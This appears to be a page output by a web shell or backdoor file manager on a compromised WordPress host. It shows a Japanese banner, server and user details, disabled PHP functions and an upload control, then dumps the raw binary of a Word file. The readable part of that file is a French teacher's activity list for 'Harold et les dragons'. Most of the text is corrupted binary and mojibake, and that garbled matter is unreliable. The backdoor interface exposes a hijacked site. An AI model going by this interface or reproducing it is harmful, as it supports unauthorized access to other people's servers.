レ(゚∀゚;)ヘ ヘ( ゚∀゚;)ノレ(゚∀゚;)ヘ ヘ( ゚∀゚;)ノ徐氏は彼に言った。「あなたの容姿から判断すると、あなたは悪い人には見えません。深く自制して善行を積むべきです。」しかし、これは貧しさゆえに違いない。そこで彼は徐氏に絹の反物を2反渡すように命じた。それ以来、その郡では盗みは起こらなくなった。⛴️⛴️ HEX
HEX
Server: Apache
System: Linux webm009.cluster123.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User: doubslu (163693)
PHP: 8.5.7
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/doubslu/www/wp-content/uploads/2014/10/4-Harold-et-les-dragons.doc
��ࡱ�>��	-/����,�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������y�	���bjbj��4�{�{��������NN���������������H0���������������$x�*f�����������������������������������3�(�����["��0H��}
�����,��������������H����������������������������������������������������������������������������������N$r:Harold et les dragons, Tome 1, C. Cowell, Casteman
 HYPERLINK "http://www.babelio.com/livres/Cowell-Harold-et-les-dragons-tome-1--Comment-dresser-vot/363616" http://www.babelio.com/livres/Cowell-Harold-et-les-dragons-tome-1--Comment-dresser-vot/363616 
* Comparer le portrait de Tronch p.10-11 et l�illustration p.9�: rendre � Tronch ce qui appartient � Tronch.
* R�aliser une galerie de portraits�: Harold p.20, Rustik p.21, Halen le F�tide p.21�: S�interroger sur le nom donn� � chaque personnage et inventer un autre membre de la troupe (ou un cousin �loign�...)
* Comparer le livre et le film�: quels sont les points communs�? Une technique diff�rente pour ��dresser�� son dragon, le nom donn� au dragon d�Harold�: Krokmou, le h�ros ch�tif mais fils du chef donc h�ritier, nom d�Harold et de son p�re, un h�ros salvateur pour son village...
* Reconstituer la maternit� des dragons�: chaque �l�ve dessine (ou mod�le) son dragon et le place dans la grotte (cf. p.25�: ��entass�s, accroch�s au plafond��) en prenant appui sur
Les illustrations�: p.16�: ��cauchemar monstrueux��, p.17 ��le petit brun��, p.26 ��un gronk��, p.30 ��dragon vip�re��, p.47 ��dragon de jardin��, p.165 ��dragonus oceanus gigantus��
(Possibilit� de placer le dragon con�u dans un sac cf. illustration p.14�: Ne faire d�passer que la t�te ou concevoir un sac avec un ��ressort�� pour faire sortir le dragon si on ouvre le sac).
* Elaborer une fiche technique sur le dragon�: diff�rentes esp�ces, maternit�, temp�rature cf.p.28 ��dragon qui dort�� baisse la temp�rature de son corps.
* Mettre ce livre en r�seau avec d�autres libres sur les dragons :
- Harry Potter�: la devise de Poudlard�: ��draco dormiens nunquam titillandus�� (il ne faut jamais titiller un dragon qui dort�) / le dragon �lev� par Hagrid / le nom du chien d�Hagrid�: Crockdur�
- Bilbo le Hobbit�: dialogue entre Bilbo et Smaug // dialogue entre Harold et le Dragonus Oceanus Gigantus (point commun�: un repas intelligent et qui parle!)
- Kenny et le dragon, T. DiTerlizzi�: Graham, le dragon de l�histoire, a toutes les caract�ristiques physiques du dragon mais est aussi tr�s diff�rents des autres dragons.
* Ecrire son manuel�: ��comment dresser son dragon�� en 4 pages (cf.p.57-62)
- 1� page�: cr�er une premi�re de couverture (illustration, titre, auteur, �diteur)
- 2� page�: biographie
- 3� page�: ��pour dresser un dragon, il suffit de ...��
- 4� page�: cr�er une quatri�me de couverture�: critiques, avis, r�sum�
OU ouvrage collectif�: chaque �l�ve �crit son �pour dresser un dragon, il suffit de ...��
* Inventer quelques phrase en dragonais p.74, p.206�: ��Shay� a pu�� = Fin. Ecrire un ouvrage�: comment parler le dragonais (livre existant de la m�me collection).
* Inventer le programme de la f�te de Thor cf. p.108�: ��9H�: concours de lancer de marteaux pour les plus de 60 ans. Pri�re d�apporter son marteau. Casque obligatoire pour les spectateurs.��
* Faire faire des recherches sur les Vikings (cf. ��Loki�� p.28...)
* Faire le lien avec le Moyen Age�: fauconnerie = dragonnerie
34����	am&5��������׽�˳�������hy�hy�OJQJ^Jhy�6�OJQJ^Jhy�6�OJQJ]�^Jhy�OJQJ^Jh��hy�0JCJ]�aJh��hy�CJ]�aJ jh��hy�CJU]�aJhy�5�CJ]�aJhy�5�6�CJ]�aJ3	m	:
R��
_$�o�'`��f��������������������������gdy��P�gdy���gdy����gdy����gdy��x�gdy��gdy�������gdy�21�h:py���. ��A!��"��#��$��%�������j���������666666666vvvvvvvvv666666>666666666666666666666666666�6666666666�66666666666hH6666666666666666666666666666666666666666666666666666666666666666�62���� 0@P`p������2(�� 0@P`p������ 0@P`p������ 0@P`p������ 0@P`p������ 0@P`p������ 0@P`p��8X�V~ OJPJQJ_HmHnHsHtHJ`�J60Normald��CJ_HaJmHsHtH	:A`�:
Police par d�fautVi@�V
0Tableau Normal�4�
l4�a�2k �2
0Aucune listeRU`��Ry�Lien hypertexte>*B*	_H�mH�ph�sH�tH�b^`by�Normal (Web)d���w*$CJOJPJQJ^JaJtHPK!����[Content_Types].xml���N�0E�H���-J��@%�ǎǢ|�ș$�ز�U��L�TB� l,�3��;�r��Ø��J��B+$�G]��7O٭V��<a���(7��I��R�{�pgL�=��r���8�5v&����uQ�뉑8��C����X=��$␴�?6N�JC������F�B.ʹ'�.�+���Y�T���^e5�5�� ��ð�_�g -�;�����Yl�ݎ��|6^�N��`�?���[��PK!�֧�6_rels/.rels���j�0���}Q��%v/��C/�}�(h"���O�
����=������ ����C?�h�v=��Ʌ��%[xp��{۵_�Pѣ<�1�H�0���O�R�Bd���JE�4b$��q_����6L�R�7`������0̞O��,�En7�Li�b��/�S���e��е�����PK!ky���theme/theme/themeManager.xml�M
� @�}�w��7c�(Eb�ˮ��C�AǠҟ����7��՛K
Y,�
�e�.���|,���H�,l����xɴ��I�sQ}#Ր���� ֵ+�!�,�^�$j=�GW��)�E�+&
8���PK!��T��theme/theme/theme1.xml�YOoE�#�F{oc'vGu�رh�F�[��xw�;���jf��7���q�7�P����%PE�W����z'^�������ڳ�y��oެ/_�3t@��<i{��5���M¶wkؿ��!�p`���DzW6�}�2^W�	���\�m/R*]_Z�>,cy��$�gc.b����An̖�k�ե��C	�A�0��vs<�>�6r�=*%����@�&ٖ6دk���.����~8$����
�����6./�lS�����_�/��/�"J�F��V!����z�n�^�3�ੵ�,��_�wr�%��8/�[k�.�$e��V��i�2[�P�s���jcs���7���f����
��W��K�Ն�7���d���g�Ș��J���j|��j(�K��D-����
dX��iJ�؇2��x$(�
�:��'vɗsKZ����j{�Zb&���^>{���?=���уG����]�8	˻^|�ɟ�>D<����Ϫ����~���j ��̜�?�����_|���+����!��D7�!��18f��ZNF�l;����I(q���
�=9�S̲�8vt����
xur�1x�����E���u����5����$	���I���A��.N���&)�f^���݈8f�2�(��(���}B*��C���.�X�;u0�ɐ��j�mڦ1�eZ�3�ۉ��m����-r�"�+0�0~H�ƫx�p\%r�cV�u��*#S�q=� �!a�"e՞��-%�ƪL���.R(�_%�:漌����iv@���}O�C�b��U|����Cp�0ݷ)q�}2ܢ�cҬ@���U�L�C5@�W�4�;�f��j8?��|��
��T�ބӫ�g���"�qz�r�7����$�%��G�[r~K������S򌅁��,bm3v���1el���\�f�p�}X�̕���4����A��6{�����A�S���Lt(Q�%\�r�l���_٫fS_B,sH�vx`�W�r~�(��Bs���h�U�r)
�����6�����4C����ebs)����bMj�B�U��k�p��:�6GyZL�3E2��r����Q�$)��9G����񄨕������v�$��5�˳�:Y�+x�%�v�YRnN��ö�j.7=������.��Yo�|%lٟ�̦�g�l厹MP�W6�s;<�
����li�GY	�Dk��/7!���@�Ί�5(��
���Z2_��]Zѱ�_3*�E� 
шM����R*�u�a����h�G.9gMW~#fpv�4����;��
!6�o%�JۍsgwŴ�9�R.�+�<��+�΀�F�S�*�BiD�����pT�߅�PT��/ȁ����a�.�j��HP8�T$�Z2�w��zvvY�,d*�d�L��#r@�Ps�>�=A�6�h��ן�=�Q���r�9LV�������638��h�&��T�����-;��ƬF���t���E�x�Zƚ�x��Y����(�wHH��>��v�u��[�x��A�@U_���iG08�E[LZ�
m6:��9O���c�֖�&�gv1���^<�`gvbm��2{�Eai�_dLb��d�_���.$z~3�0%M1��T�=0}�o5����PK!
ѐ��'theme/theme/_rels/themeManager.xml.rels��M
�0���wooӺ�&݈Э���5
6?$Q��
�,.�a��i����c2�1h�:�q��m��@RN��;d�`��o7�g�K(M&$R(.1�r'J��ЊT���8��V�"��AȻ�H�u}��|�$�b{��P����8�g/]�QAsم(����#��L�[������PK-!����[Content_Types].xmlPK-!�֧�60_rels/.relsPK-!ky���theme/theme/themeManager.xmlPK-!��T���theme/theme/theme1.xmlPK-!
ѐ��'�	theme/theme/_rels/themeManager.xml.relsPK]�
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>������
��3���X���8�@�����������0�(	�
��B
�S����	?�"(*2 JPek����_d������}�����������"&+/5GLPUu}~����� 
)
:
?
t
}
����������3��60[[Dd�y��f����@�xxxx��@��Unknown������������G��*�Ax�	�Times New Roman5��Symbol3.��*�Cx�	�Arial7.���@	�CalibriA���$B�Cambria Math"q������+'��+'�
��
!�������20��K����HX	�	$P����������������������y�0!xx����corinne tissiercorinne tissier����Oh��+'��0,
px��	��
��
$�corinne tissierNormal.dotmcorinne tissier1Microsoft Office Word@�Ik@�(��@rr��
����՜.��+,��D��՜.��+,��4�hp��������
���Microsoft�Titre< 8@_PID_HLINKS�A�^http://www.babelio.com/livres/Cowell-Harold-et-les-dragons-tome-1--Comment-dresser-vot/363616	

�������� !"#����%&'()*+��������.����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Root Entry��������	�F�h�(�0�1Table���������WordDocument��������4SummaryInformation(����DocumentSummaryInformation8������������$CompObj������������r������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
����	�F Document Microsoft Word 97-2003
MSWordDocWord.Document.8�9�q